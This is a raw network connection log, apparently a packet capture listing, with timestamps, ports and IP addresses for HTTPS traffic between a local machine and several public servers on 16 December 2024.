Dec 16, 2024 18:45:26.531136990 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.531156063 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.531198025 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.531212091 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.531240940 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.531280994 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.541486979 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.541511059 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.541555882 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.541583061 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.541609049 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.541627884 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.550578117 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.550601006 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.550653934 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.550666094 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.550699949 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.550719023 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.560424089 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.560446978 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.560513020 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.560525894 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.560560942 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.560580015 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.567146063 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.567164898 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.567225933 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.567240000 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.567286968 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.574462891 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.574484110 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.574543953 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.574557066 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.574584961 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.574609041 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.701356888 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.701385021 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.701436996 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.701447964 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.701491117 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.701510906 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.707124949 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.707148075 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.707216978 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.707223892 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.707268000 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.713078022 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.713094950 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.713160038 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.713166952 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.713212967 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.713233948 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.718200922 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.718219995 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.718283892 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.718297958 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.718358040 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.724143982 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.724165916 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.724220991 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.724235058 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.724266052 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.724280119 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.729693890 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.729712963 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.729794979 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.729809046 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.730000973 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.735440969 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.735461950 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.735522032 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.735536098 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.735590935 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.741345882 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.741372108 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.741461992 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.741476059 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.741540909 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.892369032 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.892416000 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.892503023 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.892597914 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.892599106 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.892599106 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.892967939 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.892985106 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.922564983 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:26.922652960 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:26.922780037 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:26.923016071 CET	49740	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:26.923058033 CET	443	49740	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:27.002836943 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:27.002866983 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:27.002948999 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:27.003113985 CET	49741	443	192.168.2.17	142.250.181.68
Dec 16, 2024 18:45:27.003132105 CET	443	49741	142.250.181.68	192.168.2.17
Dec 16, 2024 18:45:27.035629988 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:27.035687923 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:27.035763979 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:27.035945892 CET	49742	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:27.035963058 CET	443	49742	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:27.084065914 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.084425926 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.084486961 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.085948944 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.086034060 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.086304903 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.086391926 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.086425066 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.131356001 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.137294054 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.137335062 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.184254885 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.235044003 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.235352993 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:27.235418081 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.236895084 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.236973047 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:27.237260103 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:27.237350941 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.237415075 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:27.240067005 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.240288973 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.240304947 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.241956949 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.242034912 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.242305994 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.242602110 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.242626905 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.242688894 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.242798090 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.242825985 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.242906094 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.242997885 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.243026018 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.243933916 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.244020939 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.244590998 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.244668007 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.244684935 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.246530056 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.246611118 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.247195959 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.247284889 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.247292995 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.280239105 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:27.280261040 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.283339977 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.291332006 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.291335106 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.295207024 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.295206070 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.295209885 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.295213938 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.295222998 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.295238018 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.327239037 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:27.343219042 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.343221903 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.343334913 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.546430111 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.546669006 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.546765089 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.546763897 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.546834946 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.546888113 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.546905041 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.547053099 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.547113895 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.547667027 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:27.547698975 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:27.683285952 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.683603048 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.683684111 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.683695078 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.683743000 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.683801889 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.683831930 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.684149027 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.684209108 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.684258938 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.688942909 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.689019918 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.689091921 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.689145088 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.689253092 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.689306974 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.689323902 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.690033913 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.690088987 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.690103054 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.691467047 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.691529989 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.691545963 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.696719885 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.696779966 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.696818113 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:27.696826935 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.696898937 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.696954012 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:27.697333097 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:27.697349072 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:27.699526072 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.699573994 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.699580908 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.706831932 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.706890106 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.706897020 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.708498001 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.708564043 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.708578110 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.722208977 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.722507954 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.722569942 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.722608089 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.722872019 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.722933054 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.722949028 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.736680984 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.736749887 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.736763954 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.745321035 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.745383024 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.745397091 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.756269932 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.756311893 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.788204908 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.788218975 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.808655024 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.836204052 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.842225075 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.852320910 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.852353096 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.877938032 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.881876945 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.881951094 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.882003069 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.884219885 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.887248993 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.887336016 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.887336016 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.887401104 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.887459040 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.889620066 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.889679909 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.889695883 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.893078089 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.897490025 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.897557020 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.897571087 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.900640011 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.900688887 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.900697947 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.905520916 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.905587912 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.905601978 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.908231020 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.908286095 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.908293009 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.913265944 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.913325071 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.913338900 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.915070057 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.915538073 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.915594101 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.915601015 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.918675900 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.918741941 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.918761015 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.921192884 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.921258926 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.921272993 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.922924995 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.922977924 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.922985077 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.926455975 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.926522970 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.926537991 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.929022074 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.929080963 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.929095030 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.937249899 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.937274933 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.937315941 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.937331915 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.937381029 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.937823057 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.937885046 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.937896013 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.944586039 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.944655895 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.944672108 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.944751024 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.945090055 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.945152998 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.945164919 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.952151060 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.952215910 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.952228069 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.952377081 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.952440023 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.952454090 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:27.952600956 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.952622890 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.952665091 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.952681065 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.952747107 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.959342957 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.959403038 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.959414959 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.960211039 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.966233015 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.966301918 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.966314077 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.968058109 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.968117952 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.968131065 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.973247051 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.973305941 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:27.973318100 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:27.975785017 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.975848913 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.975862026 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.983553886 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.983613968 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.983627081 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.990572929 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.990628958 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:27.990642071 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:27.995184898 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:27.995203018 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:28.004533052 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.004595041 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.004610062 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.011420012 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.011477947 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:28.011492014 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:28.027317047 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:28.043205023 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:28.059199095 CET	49737	443	192.168.2.17	104.18.40.240
